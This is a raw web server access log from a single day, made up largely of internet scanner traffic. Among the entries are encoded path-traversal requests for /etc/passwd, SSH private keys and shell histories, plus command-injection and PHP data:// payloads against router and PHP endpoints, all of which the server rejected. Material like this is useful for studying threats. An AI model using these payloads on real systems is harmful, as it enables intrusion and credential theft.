87.121.84.181 - - [25/Dec/2025:00:10:55 +0100] "GET / HTTP/1.0" 200 1895 204.76.203.219 - - [25/Dec/2025:00:14:57 +0100] "GET / HTTP/1.1" 200 1895 192.159.99.95 - - [25/Dec/2025:00:17:29 +0100] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 750 46.151.178.49 - - [25/Dec/2025:00:29:33 +0100] "GET / HTTP/1.1" 200 1895 80.80.90.160 - - [25/Dec/2025:00:43:47 +0100] "GET / HTTP/1.1" 200 1895 3.94.114.66 - - [25/Dec/2025:00:49:22 +0100] "GET / HTTP/1.1" 200 1895 36.91.144.195 - - [25/Dec/2025:00:49:31 +0100] "GET / HTTP/1.1" 200 1895 112.46.212.148 - - [25/Dec/2025:01:05:50 +0100] "GET / HTTP/1.1" 400 771 141.98.11.140 - - [25/Dec/2025:01:15:05 +0100] "GET / HTTP/1.1" 200 1895 130.12.180.18 - - [25/Dec/2025:01:40:57 +0100] "GET / HTTP/1.1" 200 1895 44.220.188.213 - - [25/Dec/2025:01:59:04 +0100] "GET / HTTP/1.1" 200 1895 198.235.24.115 - - [25/Dec/2025:02:03:39 +0100] "GET / HTTP/1.0" 200 1895 204.76.203.219 - - [25/Dec/2025:02:20:35 +0100] "GET / HTTP/1.1" 200 1895 5.187.35.21 - - [25/Dec/2025:03:10:29 +0100] "POST / HTTP/1.1" 200 1895 91.224.92.121 - - [25/Dec/2025:03:13:40 +0100] "OPTIONS / HTTP/1.1" 200 - 89.42.231.244 - - [25/Dec/2025:03:13:50 +0100] "GET /SDK/webLanguage HTTP/1.1" 404 737 141.98.11.140 - - [25/Dec/2025:03:19:20 +0100] "GET / HTTP/1.1" 200 1895 18.97.26.41 - - [25/Dec/2025:03:20:28 +0100] "GET / HTTP/1.1" 200 1895 103.44.52.85 - - [25/Dec/2025:04:15:37 +0100] "GET / HTTP/1.1" 200 1895 103.44.52.85 - - [25/Dec/2025:04:15:38 +0100] "GET /HNAP1/ HTTP/1.1" 404 728 20.127.195.254 - - [25/Dec/2025:04:16:59 +0100] "GET /hudson HTTP/1.1" 404 724 98.80.4.10 - - [25/Dec/2025:04:19:53 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:04:22:53 +0100] "GET / HTTP/1.1" 200 1895 130.12.180.18 - - [25/Dec/2025:04:48:19 +0100] "GET / HTTP/1.1" 200 1895 18.97.19.176 - - [25/Dec/2025:05:49:03 +0100] "GET / HTTP/1.1" 200 1895 198.235.24.245 - - [25/Dec/2025:06:01:39 +0100] "-" 400 1930 198.235.24.245 - - [25/Dec/2025:06:01:39 +0100] "-" 400 1930 130.12.180.18 - - [25/Dec/2025:06:13:52 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:06:22:30 +0100] "GET / HTTP/1.1" 200 1895 206.189.222.126 - - [25/Dec/2025:06:41:41 +0100] "-" 400 1930 206.189.222.126 - - [25/Dec/2025:06:41:42 +0100] "-" 400 1930 206.189.222.126 - - [25/Dec/2025:06:41:42 +0100] "GET / HTTP/1.1" 200 1895 206.189.222.126 - - [25/Dec/2025:06:41:42 +0100] "GET /download/powershell/ HTTP/1.1" 404 746 206.189.222.126 - - [25/Dec/2025:06:41:43 +0100] "GET /get.php HTTP/1.1" 404 725 91.224.92.14 - - [25/Dec/2025:06:50:49 +0100] "GET / HTTP/1.1" 200 1895 185.243.96.116 - - [25/Dec/2025:07:35:15 +0100] "-" 400 1930 185.243.96.116 - - [25/Dec/2025:07:35:15 +0100] "-" 400 1930 130.12.180.18 - - [25/Dec/2025:07:45:40 +0100] "GET / HTTP/1.1" 200 1895 141.98.11.140 - - [25/Dec/2025:07:54:34 +0100] "GET / HTTP/1.1" 200 1895 194.165.16.161 - - [25/Dec/2025:08:00:56 +0100] "-" 400 1930 204.76.203.219 - - [25/Dec/2025:08:16:18 +0100] "GET / HTTP/1.1" 200 1895 185.224.128.16 - - [25/Dec/2025:08:26:51 +0100] "CONNECT www.example.com:443 HTTP/1.1" 400 804 185.224.128.16 - - [25/Dec/2025:08:26:51 +0100] "-" 400 1930 185.224.128.16 - - [25/Dec/2025:08:26:51 +0100] "-" 400 1930 185.224.128.16 - - [25/Dec/2025:08:26:51 +0100] "-" 400 1930 130.12.180.18 - - [25/Dec/2025:09:18:18 +0100] "GET / HTTP/1.1" 200 1895 91.224.92.14 - - [25/Dec/2025:09:40:13 +0100] "GET / HTTP/1.1" 200 1895 44.220.188.142 - - [25/Dec/2025:09:45:02 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.93 - - [25/Dec/2025:09:54:31 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.93 - - [25/Dec/2025:09:54:31 +0100] "GET /ip HTTP/1.1" 404 720 204.76.203.219 - - [25/Dec/2025:10:16:25 +0100] "GET / HTTP/1.1" 200 1895 45.194.92.43 - - [25/Dec/2025:10:20:56 +0100] "GET /ip HTTP/1.1" 404 720 184.105.247.252 - - [25/Dec/2025:10:38:59 +0100] "-" 400 1930 130.12.180.18 - - [25/Dec/2025:10:39:05 +0100] "GET / HTTP/1.1" 200 1895 178.238.236.27 - - [25/Dec/2025:10:48:08 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 771 85.11.183.6 - - [25/Dec/2025:10:58:06 +0100] "-" 400 1930 85.11.183.6 - - [25/Dec/2025:10:58:06 +0100] "GET / HTTP/1.1" 200 1895 141.98.11.140 - - [25/Dec/2025:11:32:29 +0100] "GET / HTTP/1.1" 200 1895 141.98.11.140 - - [25/Dec/2025:11:38:59 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.59 - - [25/Dec/2025:11:48:48 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.59 - - [25/Dec/2025:11:48:51 +0100] "-" 400 1930 66.132.153.59 - - [25/Dec/2025:11:48:51 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.59 - - [25/Dec/2025:11:48:52 +0100] "GET /favicon.ico HTTP/1.1" 404 729 66.132.153.59 - - [25/Dec/2025:11:48:55 +0100] "-" 400 1930 66.132.153.59 - - [25/Dec/2025:11:48:55 +0100] "GET /sitemap.xml HTTP/1.1" 404 729 130.12.180.18 - - [25/Dec/2025:11:59:22 +0100] "GET / HTTP/1.1" 200 1895 176.222.224.155 - - [25/Dec/2025:12:03:57 +0100] "GET / HTTP/1.0" 200 1895 130.12.180.207 - - [25/Dec/2025:12:07:01 +0100] "POST / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:12:15:05 +0100] "GET / HTTP/1.1" 200 1895 103.249.117.201 - - [25/Dec/2025:12:29:33 +0100] "CONNECT google.com:443 HTTP/1.1" 400 804 91.224.92.14 - - [25/Dec/2025:12:35:33 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.215 - - [25/Dec/2025:13:04:58 +0100] "-" 400 1930 204.76.203.215 - - [25/Dec/2025:13:04:58 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 157.245.55.57 - - [25/Dec/2025:13:24:01 +0100] "HEAD / HTTP/1.1" 200 - 184.105.247.252 - - [25/Dec/2025:13:28:06 +0100] "GET / HTTP/1.1" 200 1895 184.105.247.238 - - [25/Dec/2025:13:28:34 +0100] "GET /favicon.ico HTTP/1.1" 404 729 184.105.247.247 - - [25/Dec/2025:13:28:49 +0100] "GET /?format=json HTTP/1.1" 200 1895 184.105.247.252 - - [25/Dec/2025:13:29:00 +0100] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 804 184.105.247.252 - - [25/Dec/2025:13:29:12 +0100] "GET /geoserver/web/ HTTP/1.1" 404 740 34.52.238.9 - - [25/Dec/2025:13:30:37 +0100] "GET / HTTP/1.1" 200 1895 78.128.114.102 - - [25/Dec/2025:13:37:56 +0100] "GET / HTTP/1.0" 200 1895 141.98.11.140 - - [25/Dec/2025:13:39:24 +0100] "GET / HTTP/1.1" 200 1895 18.97.5.26 - - [25/Dec/2025:14:11:43 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:14:13:41 +0100] "GET / HTTP/1.1" 200 1895 45.156.87.74 - - [25/Dec/2025:15:10:56 +0100] "CONNECT www.cloudflare.com:443 HTTP/1.1" 400 804 45.156.87.74 - - [25/Dec/2025:15:10:56 +0100] "CONNECT www.google.com:443 HTTP/1.1" 400 804 130.12.180.18 - - [25/Dec/2025:15:12:36 +0100] "GET / HTTP/1.1" 200 1895 91.224.92.14 - - [25/Dec/2025:15:31:03 +0100] "GET / HTTP/1.1" 200 1895 135.237.126.47 - - [25/Dec/2025:15:37:36 +0100] "GET /manager/html HTTP/1.1" 401 2499 20.168.0.45 - - [25/Dec/2025:15:38:00 +0100] "-" 400 1930 204.76.203.219 - - [25/Dec/2025:16:21:44 +0100] "GET / HTTP/1.1" 200 1895 141.98.11.140 - - [25/Dec/2025:17:09:12 +0100] "GET / HTTP/1.1" 200 1895 130.12.180.18 - - [25/Dec/2025:17:24:38 +0100] "GET / HTTP/1.1" 200 1895 91.224.92.14 - - [25/Dec/2025:18:13:49 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:18:17:51 +0100] "GET / HTTP/1.1" 200 1895 91.224.92.121 - - [25/Dec/2025:18:23:21 +0100] "OPTIONS / HTTP/1.1" 200 - 107.170.76.106 - - [25/Dec/2025:18:24:08 +0100] "GET /.env HTTP/1.1" 404 722 107.170.76.106 - - [25/Dec/2025:18:24:08 +0100] "GET /.git/config HTTP/1.1" 404 733 18.97.26.76 - - [25/Dec/2025:19:16:36 +0100] "GET / HTTP/1.1" 200 1895 193.142.146.230 - - [25/Dec/2025:19:21:49 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 141.98.11.140 - - [25/Dec/2025:19:30:45 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.219 - - [25/Dec/2025:20:07:58 +0100] "GET / HTTP/1.1" 200 1895 165.154.162.102 - - [25/Dec/2025:20:08:47 +0100] "-" 400 1930 165.154.162.102 - - [25/Dec/2025:20:08:58 +0100] "GET / HTTP/1.1" 200 1895 165.154.162.102 - - [25/Dec/2025:20:09:17 +0100] "GET /favicon.ico HTTP/1.1" 404 729 165.154.162.102 - - [25/Dec/2025:20:09:18 +0100] "GET /robots.txt HTTP/1.1" 404 728 165.154.162.102 - - [25/Dec/2025:20:09:19 +0100] "GET /sitemap.xml HTTP/1.1" 404 729 165.154.162.102 - - [25/Dec/2025:20:09:19 +0100] "GET /config.json HTTP/1.1" 404 729 13.89.125.18 - - [25/Dec/2025:20:25:55 +0100] "GET /manager/text/list HTTP/1.1" 401 2499 130.12.180.18 - - [25/Dec/2025:20:35:33 +0100] "GET / HTTP/1.1" 200 1895 172.82.90.170 - - [25/Dec/2025:20:44:18 +0100] "GET /cgi-bin/luci/;stok=/locale?form%3Dcountry%26operation%3Dwrite%26country%3D%60ping%2085.206.161.44%60 HTTP/1.1" 404 756 172.82.90.170 - - [25/Dec/2025:20:44:29 +0100] "GET /cgi-bin/luci/;stok=/locale?form%3Dcountry%26operation%3Dwrite%26country%3D%60ping%2085.206.161.44%60 HTTP/1.1" 404 756 172.82.90.170 - - [25/Dec/2025:20:44:40 +0100] "GET /cgi-bin/luci/;stok=/locale?form%3Dcountry%26operation%3Dwrite%26country%3D%60ping%2085.206.161.44%60 HTTP/1.1" 404 756 172.82.90.170 - - [25/Dec/2025:20:44:46 +0100] "GET /cgi-bin/luci/;stok=/locale?form%3Dcountry%26operation%3Dwrite%26country%3D%60ping%2085.206.161.44%60 HTTP/1.1" 404 756 172.82.90.170 - - [25/Dec/2025:20:45:37 +0100] "GET /index.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:46:19 +0100] "GET /index.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:46:30 +0100] "GET /index.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:47:15 +0100] "GET //goform/webRead/open?path%3D%7Cping%2085.206.161.44 HTTP/1.1" 404 750 172.82.90.170 - - [25/Dec/2025:20:47:26 +0100] "GET //goform/webRead/open?path%3D%7Cping%2085.206.161.44 HTTP/1.1" 404 750 172.82.90.170 - - [25/Dec/2025:20:48:26 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:20:48:42 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 141.98.11.140 - - [25/Dec/2025:20:49:15 +0100] "GET / HTTP/1.1" 200 1895 172.82.90.170 - - [25/Dec/2025:20:49:16 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:20:55:04 +0100] "GET /index.php?page=data://text/plain,%3C%3Fphp%20system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B%3F%3E HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:55:13 +0100] "GET /index.php?page=data://text/plain,%3C%3Fphp%20system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B%3F%3E HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:55:24 +0100] "GET /index.php?page=data://text/plain,%3C%3Fphp%20system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B%3F%3E HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:55:31 +0100] "GET /index.php?page=data://text/plain,%3C%3Fphp%20system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B%3F%3E HTTP/1.1" 404 727 185.242.226.58 - - [25/Dec/2025:20:55:35 +0100] "-" 400 1930 172.82.90.170 - - [25/Dec/2025:20:57:14 +0100] "GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdwaW5nIDg1LjIwNi4xNjEuNDQnKTs/Pg== HTTP/1.1" 404 727 172.82.90.170 - - [25/Dec/2025:20:57:41 +0100] "GET null HTTP/1.1" 400 1994 172.82.90.170 - - [25/Dec/2025:20:57:51 +0100] "GET null HTTP/1.1" 400 1994 91.224.92.14 - - [25/Dec/2025:21:02:02 +0100] "GET / HTTP/1.1" 200 1895 172.82.90.170 - - [25/Dec/2025:21:05:17 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:12:04 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:14:45 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:14:46 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:34 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:35 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:35 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:35 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fhosts HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:35 +0100] "GET /..%2F..%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:35 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2Fwwwroot%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FPanther%2Funattend.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FAdministrator%2FAppData%2FRoaming%2FMicrosoft%2FWindows%2FPowerShell%2FPSReadLine%2FConsoleHost_history.txt HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:17:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fphp%2Fphp.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fhosts HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:36 +0100] "GET /..%2F..%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:36 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2Fwwwroot%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:37 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FPanther%2Funattend.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:37 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FPanther%2Funattended.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:37 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem32%2Fsysprep%2Fsysprep.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:37 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FAdministrator%2FAppData%2FRoaming%2FMicrosoft%2FWindows%2FPowerShell%2FPSReadLine%2FConsoleHost_history.txt HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:38 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Finetsrv%2Fconfig%2FapplicationHost.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:38 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fphp%2Fphp.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:38 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fmysql%2Fbin%2Fmy.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:38 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fservices HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:19:38 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fprotocol HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:57 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:58 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:58 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:58 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fhosts HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:58 +0100] "GET /..%2F..%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2Fwwwroot%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FPanther%2Funattend.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FPanther%2Funattended.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem32%2Fsysprep%2Fsysprep.xml HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FAdministrator%2FAppData%2FRoaming%2FMicrosoft%2FWindows%2FPowerShell%2FPSReadLine%2FConsoleHost_history.txt HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:24:59 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Finetsrv%2Fconfig%2FapplicationHost.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:25:00 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fphp%2Fphp.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:25:00 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fmysql%2Fbin%2Fmy.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:25:00 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fservices HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:25:00 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fprotocol HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:04 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fdpkg%2Fstatoverride HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:04 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fos-release HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:05 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshells HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:05 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Ffstab HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:05 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:05 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.bash_history HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:05 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.zsh_history HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:06 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_rsa HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:06 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_ecdsa HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:06 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_ed25519 HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:06 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fauthorized_keys HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:06 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.gitconfig HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:07 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.ssh%2Fid_rsa HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:07 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.ssh%2Fid_ecdsa HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:07 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.ssh%2Fid_ed25519 HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:07 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.ssh%2Fauthorized_keys HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:07 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.gitconfig HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:08 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.git%2Fconfig HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:08 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.bash_history HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:08 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.zsh_history HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:08 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:08 +0100] "GET /..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1" 400 804 172.82.90.170 - - [25/Dec/2025:21:29:09 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem.ini HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:09 +0100] "GET /..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem.ini HTTP/1.1" 400 804 172.82.90.170 - - [25/Dec/2025:21:29:09 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fdrivers%2Fetc%2Fhosts HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:09 +0100] "GET /..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts HTTP/1.1" 400 804 172.82.90.170 - - [25/Dec/2025:21:29:10 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2Fwwwroot%2Fweb.config HTTP/1.1" 400 813 172.82.90.170 - - [25/Dec/2025:21:29:10 +0100] "GET /..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cinetpub%5Cwwwroot%5Cweb.config HTTP/1.1" 400 804 172.82.90.170 - - [25/Dec/2025:21:29:10 +0100] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 400 813 46.101.223.115 - - [25/Dec/2025:21:34:13 +0100] "GET / HTTP/1.1" 200 1895 46.101.223.115 - - [25/Dec/2025:21:34:13 +0100] "GET /favicon.ico HTTP/1.1" 404 729 204.76.203.219 - - [25/Dec/2025:22:09:04 +0100] "GET / HTTP/1.1" 200 1895 141.98.11.140 - - [25/Dec/2025:22:18:35 +0100] "GET / HTTP/1.1" 200 1895 185.242.226.58 - - [25/Dec/2025:22:36:24 +0100] "GET / HTTP/1.1" 200 1895 193.142.146.230 - - [25/Dec/2025:23:46:21 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748